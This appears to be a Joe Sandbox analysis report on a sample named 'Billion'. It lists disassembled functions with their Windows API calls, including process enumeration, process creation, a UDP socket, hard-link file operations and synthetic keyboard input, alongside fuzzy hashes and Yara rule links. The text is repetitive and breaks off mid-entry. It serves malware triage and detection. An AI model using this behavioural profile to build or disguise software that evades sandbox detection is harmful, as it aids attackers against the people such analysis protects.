Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$ActiveChildEnumLongWindows
String ID: ( $(
API String ID: 3814560230-615512911
Opcode ID: 09ea8f198dbaf1d014aee3c88cefa5d32344fa8f432d96bc10a5ed82cec736b8
Instruction ID: 0a095472e09e28d36c4c1fd29705dc288554890b1c5905a82b5482fe185dd67f
Opcode Fuzzy Hash: 09ea8f198dbaf1d014aee3c88cefa5d32344fa8f432d96bc10a5ed82cec736b8
Instruction Fuzzy Hash: CE212874200305DFCB24DF28E888A96B7F5FB59720F21161EE879873A1DB70E854CB60

Function 001C4C89 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 001C4CED
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 001C4D02
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 001C4D0F

Strings

msctls_trackbar32, xrefs: 001C4CC4

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: fc2a8ff4807f755b20c2b118820312b55911b070a59ada26f4f7e145880f74a1
Instruction ID: e201078dda0ca85b01f416e91c1531aa528b6407029701e497e67779980ccf59
Opcode Fuzzy Hash: fc2a8ff4807f755b20c2b118820312b55911b070a59ada26f4f7e145880f74a1
Instruction Fuzzy Hash: 04110671244248BFEF205F65DC06FBB7BA8EFA5B65F110528FA51E20A0C771DC509B20

Function 0019389E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00138577: _wcslen.LIBCMT ref: 0013858A

Part of subcall function 001936F4: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00193712
Part of subcall function 001936F4: GetWindowThreadProcessId.USER32(?,00000000), ref: 00193723
Part of subcall function 001936F4: GetCurrentThreadId.KERNEL32 ref: 0019372A
Part of subcall function 001936F4: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00193731

GetFocus.USER32 ref: 001938C4

Part of subcall function 0019373B: GetParent.USER32(00000000), ref: 00193746

GetClassNameW.USER32(?,?,00000100), ref: 0019390F
EnumChildWindows.USER32(?,00193987), ref: 00193937

Strings

%s%d, xrefs: 0019394B

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
String ID: %s%d
API String ID: 1272988791-1110647743
Opcode ID: 2cfd41e51e2b6c945864a1508b1b9016fdf28207b68ccf634df28c302a1fe87e
Instruction ID: 97f7bf33ce67b8c50ff47616952485cd21edc9fafd9deaade5ecba71683419ac
Opcode Fuzzy Hash: 2cfd41e51e2b6c945864a1508b1b9016fdf28207b68ccf634df28c302a1fe87e
Instruction Fuzzy Hash: 6F118771600205ABCF11BF749C85FEE77A9AFA4304F048079F9599B292DF709A45DB30

Function 001359FF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 00135A34
DestroyWindow.USER32(?,001337B8,?,?,?,?,?,00133709,?,?), ref: 00135A91

Strings

<) , xrefs: 00174F34
<) , xrefs: 00135A09

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: DeleteDestroyObjectWindow
String ID: <) $<)
API String ID: 2587070983-1858400284
Opcode ID: da5f0a81c46d6b03e3488d6ee30eba88293e574a825097e87bdb2ac28e3a275f
Instruction ID: dc328ed0157ab5492a43d196854d5761efe56cb42266ed546b2d9e03db1baf70
Opcode Fuzzy Hash: da5f0a81c46d6b03e3488d6ee30eba88293e574a825097e87bdb2ac28e3a275f
Instruction Fuzzy Hash: 3C21ED34216B09CFDB18DB19F89CB2537F2BB54B15F25415BF84697262CB349C48DB01

Function 001C6321 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 001C6360
SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 001C638D
DrawMenuBar.USER32(?), ref: 001C639C

Strings

0, xrefs: 001C632E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Menu$InfoItem$Draw
String ID: 0
API String ID: 3227129158-4108050209
Opcode ID: e884aeaab42d244c09d70437716f5b26a25a796563d6e854b39ffbefae77775c
Instruction ID: 150779beb1d2f32ddc2094519d1b4cdccb435952e04d8cb364ec1307542136c8
Opcode Fuzzy Hash: e884aeaab42d244c09d70437716f5b26a25a796563d6e854b39ffbefae77775c
Instruction Fuzzy Hash: FE016D71500258EFDB119F51DC84FAE7BB5FF58351F108099E849DA151DB30CA85EF21

Function 001C823D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,002028E0,001CAD55,000000FC,?,00000000,00000000,?), ref: 001C823F
GetFocus.USER32 ref: 001C8247

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

Part of subcall function 00132234: GetWindowLongW.USER32(?,000000EB), ref: 00132242

SendMessageW.USER32(?,000000B0,000001BC,000001C0), ref: 001C82B4

Strings

( , xrefs: 001C8254

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$Long$FocusForegroundMessageSend
String ID: (
API String ID: 3601265619-2181176062
Opcode ID: 8a9d86928b831486b985a62773e7e57d82775ee83af5c6589874b44909d714ca
Instruction ID: 8f41ab4e897a7d2080ab6dff85a091ba66ba0cc60cf9d38755209ae9aa574486
Opcode Fuzzy Hash: 8a9d86928b831486b985a62773e7e57d82775ee83af5c6589874b44909d714ca
Instruction Fuzzy Hash: 8D015231202610CFC7159B68E89CE7537A6EB99324F14016DE516876A1DB31AC4BCB50

Function 001C8526 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

DestroyAcceleratorTable.USER32(?), ref: 001C8576
CreateAcceleratorTableW.USER32(00000000,?,?,?,001ABE96,00000000,00000000,?,00000001,00000002), ref: 001C858C
GetForegroundWindow.USER32(?,001ABE96,00000000,00000000,?,00000001,00000002), ref: 001C8595

Part of subcall function 0013249F: GetWindowLongW.USER32(00000000,000000EB), ref: 001324B0

Strings

( , xrefs: 001C8532

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: AcceleratorTableWindow$CreateDestroyForegroundLong
String ID: (
API String ID: 986409557-2181176062
Opcode ID: 10bcf18ffb1c6e231061e867041d4aa38e46f267d9b81f5d0932188500698541
Instruction ID: 0ceb1a9e5174e73f9506afe2728fdffc8a8aa4c711c8995eb687c7cda9c70a41
Opcode Fuzzy Hash: 10bcf18ffb1c6e231061e867041d4aa38e46f267d9b81f5d0932188500698541
Instruction Fuzzy Hash: 08011730601308CFCB249F68E8CCF657BB1FB64325F20852EE511866B1DB70E998CB40

Function 001C8BCD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00204038,0020407C), ref: 001C8C1A
CloseHandle.KERNEL32 ref: 001C8C2C

Strings

|@ , xrefs: 001C8BE5
8@ , xrefs: 001C8BD6

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: 8@ $|@
API String ID: 3712363035-1909839795
Opcode ID: e1559ae7dedf971b16b2d79b37de425e01f8c5f3ad188225d495d4298d3ba8a3
Instruction ID: bfb082a9c47afdd146b964ea854a2db9d80ce4fc3d9b83049c2a70cd0bf3d179
Opcode Fuzzy Hash: e1559ae7dedf971b16b2d79b37de425e01f8c5f3ad188225d495d4298d3ba8a3
Instruction Fuzzy Hash: FAF03AF2541314BAF3147B60BC89FB73E5DEB15755F008021BF08EA1A2D675881482A9

Function 0019096F Relevance: 6.3, APIs: 4, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad7367a1aeb0cc08802cf8dfd45b0ee3fc189e0b36f18b3b371a3fb7fc8bda2c
Instruction ID: f7719afaa438954cbe3f055c48154efe4dae5d609a41771b9bf67e6642e542a5
Opcode Fuzzy Hash: ad7367a1aeb0cc08802cf8dfd45b0ee3fc189e0b36f18b3b371a3fb7fc8bda2c
Instruction Fuzzy Hash: 5DC16C75A0021AEFDB05CF94C894EAEB7B5FF48704F118598E906EB251D731EE81DB90

Function 001641F3 Relevance: 6.3, APIs: 4, Instructions: 305COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0016427E
__alldvrm.LIBCMT ref: 0016447F
__alldvrm.LIBCMT ref: 001644A1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 65ac5c1fffd7beff7dffafb7e38bd52ffe3f80321006b0a9665303c455145bc9
Instruction ID: 2f0ee67d956d74b5eaff0a09c73cab7471868c9271488812ede0d7e496c5bba2
Opcode Fuzzy Hash: 65ac5c1fffd7beff7dffafb7e38bd52ffe3f80321006b0a9665303c455145bc9
Instruction Fuzzy Hash: B4A15772A003969FDB25CF18CC927AEBBE5FF61314F2441ADE9959B381C7388961C750

Function 00190D26 Relevance: 6.2, APIs: 4, Instructions: 230COMMON

Download Yara Rule

APIs

ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,001D0BD4,?), ref: 00190EE0
CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,001D0BD4,?), ref: 00190EF8
CLSIDFromProgID.OLE32(?,?,00000000,001CDCE0,000000FF,?,00000000,00000800,00000000,?,001D0BD4,?), ref: 00190F1D
_memcmp.LIBVCRUNTIME ref: 00190F3E

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: FromProg$FreeTask_memcmp
String ID:
API String ID: 314563124-0
Opcode ID: 4a817a805bb97cad83ea43780d9979207f67477519b49451b637c4d364f21990
Instruction ID: 06ae0e5654640688b3d735e3ebded30d496242ee450a27b03cfb475ba88fb2a2
Opcode Fuzzy Hash: 4a817a805bb97cad83ea43780d9979207f67477519b49451b637c4d364f21990
Instruction Fuzzy Hash: 34811875A00109EFCF05DF98C984EEEB7B9FF89315F204598E506AB250DB71AE46CB60

Function 001BB0DC Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 001BB10C
Process32FirstW.KERNEL32(00000000,?), ref: 001BB11A

Part of subcall function 0013B329: _wcslen.LIBCMT ref: 0013B333

Process32NextW.KERNEL32(00000000,?), ref: 001BB1FC
CloseHandle.KERNEL32(00000000), ref: 001BB20B

Part of subcall function 0014E36B: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00174D73,?), ref: 0014E395

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: ad0cbd0be8ba5b9d7f8cb278cff0baa4f43dbdc57de27f4e1702e71f7d6ac114
Instruction ID: 82fdd3f4b8234adce705281161a59edf2b25972805d2649ab0c68d75dd5e2ba1
Opcode Fuzzy Hash: ad0cbd0be8ba5b9d7f8cb278cff0baa4f43dbdc57de27f4e1702e71f7d6ac114
Instruction Fuzzy Hash: A9513CB1508300AFD310EF24D886A6FBBE8FF98754F40496DF59597291EB70E904CB92

Function 00171711 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00171840

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5a3c623cd1cd3cfa86860fae3017c291f191cec1efd22707d7ad87e7facb8d91
Instruction ID: 596c3ed65961fd31a4f11482a66d2b5633c2b99b56c61d416c096be52e427f57
Opcode Fuzzy Hash: 5a3c623cd1cd3cfa86860fae3017c291f191cec1efd22707d7ad87e7facb8d91
Instruction Fuzzy Hash: E4413B31600100BBDB257FFD9C86ABE3ABAEF61730F148229FC2CDB191DB3548415662

Function 001B2533 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 001B255A
WSAGetLastError.WSOCK32 ref: 001B2568
#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 001B25E7
WSAGetLastError.WSOCK32 ref: 001B25F1

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: f4b0d3e80f0b0a7626bdf2a978f29be8678d4a40fd36b51662aa25797d2673a4
Instruction ID: 556682a934f29a00ecf3034b742225b1b590916c808b691671bde4af608690b0
Opcode Fuzzy Hash: f4b0d3e80f0b0a7626bdf2a978f29be8678d4a40fd36b51662aa25797d2673a4
Instruction Fuzzy Hash: 8341D075A00300AFE720AF24C886F6A77E5AB14758F54C45CF91A8F6D2C772ED82CB90

Function 001C6CB0 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 001C6D1A
ScreenToClient.USER32(?,?), ref: 001C6D4D
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,?,?,?), ref: 001C6DBA

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: c422b0870012080241a1d7453d653078ead71b3e2448ca1bc9de506ca5617f33
Instruction ID: 242c707575bf00d48fd200b06c5efcfe2b36cc7d17ca33930ed6bbb69ffa5c7e
Opcode Fuzzy Hash: c422b0870012080241a1d7453d653078ead71b3e2448ca1bc9de506ca5617f33
Instruction Fuzzy Hash: 3151FB74A00209EFCF24DFA4D884EAE7BB6EB64320F20856EE95597291D730ED81CB50

Function 0016B79F Relevance: 6.1, APIs: 4, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dadcc85492ab069e0bf38bd4140f5300fad89b8b5193b8173417b7f18e0f340f
Instruction ID: 312b44556a5dce0681675ece71f8ee6cb924c064ef7f7b2a2750998a106e0234
Opcode Fuzzy Hash: dadcc85492ab069e0bf38bd4140f5300fad89b8b5193b8173417b7f18e0f340f
Instruction Fuzzy Hash: 7841F671A04704AFD725AF78CC81BAABBEDEB98710F10853EF115DB291D77199A28780

Function 001A611E Relevance: 6.1, APIs: 4, Instructions: 110fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 001A61C8
GetLastError.KERNEL32(?,00000000), ref: 001A61EE
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 001A6213
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 001A623F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: 69e8883a57abf42b3beece19fbecf2c64d5602902f320db39a2032ee45e86e08
Instruction ID: 5c9ce0f11bc1ad3dc4f2e46fd68f7343c0fd4dae51affa066b07402d1484f1d4
Opcode Fuzzy Hash: 69e8883a57abf42b3beece19fbecf2c64d5602902f320db39a2032ee45e86e08
Instruction Fuzzy Hash: CA412639600610DFCF11EF65C585A1ABBF2EF99714F198498E84AAB362CB34FD41CB91

Function 0019B41E Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0019B473
SetKeyboardState.USER32(00000080), ref: 0019B48F
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0019B4FD
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0019B54F

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001F3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324735392.00000000001FD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324772151.0000000000205000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_130000_Billion.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 931e83d1fc6907e13d424eb629f39c9798fbef893289dddc076f0ec4910ec379
Instruction ID: c5ddaed4c62ddd79a9c7f7340444c026e5e6079c695f839582c8bbd086630351
Opcode Fuzzy Hash: 931e83d1fc6907e13d424eb629f39c9798fbef893289dddc076f0ec4910ec379
Instruction Fuzzy Hash: 59316870A082186EFF34CB25A989BFE7BB5BF58310F04421AF096971D2C374D98597A1

Function 0019B563 Relevance: 6.1, APIs: 4, Instructions: 103keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,7694C0D0,?,00008000), ref: 0019B5B8
SetKeyboardState.USER32(00000080,?,00008000), ref: 0019B5D4
PostMessageW.USER32(00000000,00000101,00000000), ref: 0019B63B
SendInput.USER32(00000001,?,0000001C,7694C0D0,?,00008000), ref: 0019B68D

Memory Dump Source

Source File: 0000000C.00000002.3324557168.0000000000131000.00000020.00000001.01000000.00000007.sdmp, Offset: 00130000, based on PE: true

Associated: 0000000C.00000002.3324518263.0000000000130000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.3324627869.00000000001CD000.00000002.00000001.01000000.00000007.sdmpDownload File
